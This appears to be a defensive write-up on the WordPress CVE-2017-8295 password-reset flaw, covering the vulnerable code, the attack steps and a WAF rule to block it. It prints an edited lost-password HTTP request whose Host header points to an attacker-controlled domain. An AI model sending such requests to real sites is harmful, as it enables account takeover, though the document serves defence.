(CVE-2017-8295) Wordpress <= 4.7.4 - Unauthorized Password Reset Vulnerability
By default, WordPress is using an untrusted data to create a password reset link. That is supposed to be delivered only to the email address associated with the owner’s account.
If the From email header is not present WordPress will use the server one.
// check wp-includes/pluggable.php
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
How the attack works?
- The attacker makes their request to the “forgot password?” function.
- In the request, they set the “Host” http header to a domain they control. (let’s call it fos.org)
- The WordPress software generates an email with the secret link that will reset a user’s password. It looks up who it should send the email as (e.g.. the “From” field) by looking at the value in PHP of
$_SERVER[‘SERVER_NAME’]
which just so happens to be set by theHost
http header field. Normally this would be your site’s domain, but in event of this attack the emailFrom
field will be wordpress@fos.org. - The email with secret key is queued for delivery to the WordPress user’s email address.
- Somehow (be it a bad email address, full inbox, or maybe even an away from office message that includes the original email) the email gets a response which includes the original message and is delivered to the listed
From
field. - The reply is delivered to the attacker’s inbox, they are then able to use the secret link and log in to the WordPress user’s account.
How to prevent WordPress from 0-day attack by WAF rule?
Step 1: Analyse the vulnerability and draft a overview of the exploit process. Step 2: Find out which parameter or header is need for this exploit to work.
Actual Request:
POST /waf-demo/wp-login.php?action=lostpassword HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Referer: http://127.0.0.1/waf-demo/wp-login.php?action=lostpassword
Cookie: wp-settings-time-1=1496252396; wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1
user_login=fos%40gmail.com&redirect_to=&wp-submit=Get+New+Password
Edited Request (Attack Scenario)
POST /waf-demo/wp-login.php?action=lostpassword HTTP/1.1
Host: `fos.org`
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Referer: http://127.0.0.1/waf-demo/wp-login.php?action=lostpassword
Cookie: wp-settings-time-1=1496252396; wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1
user_login=fos%40gmail.com&redirect_to=&wp-submit=Get+New+Password
Step 3: As in our case HOST (http Header) is one where attacker try to change the Host name for this exploit to work.
Step 4: Based on attack scenario, write a rule to check the Host Header, whenever the user requesting for resetting the password for admin account. So if host header doesn’t it match with actual host name. WAF will block it with status:403
.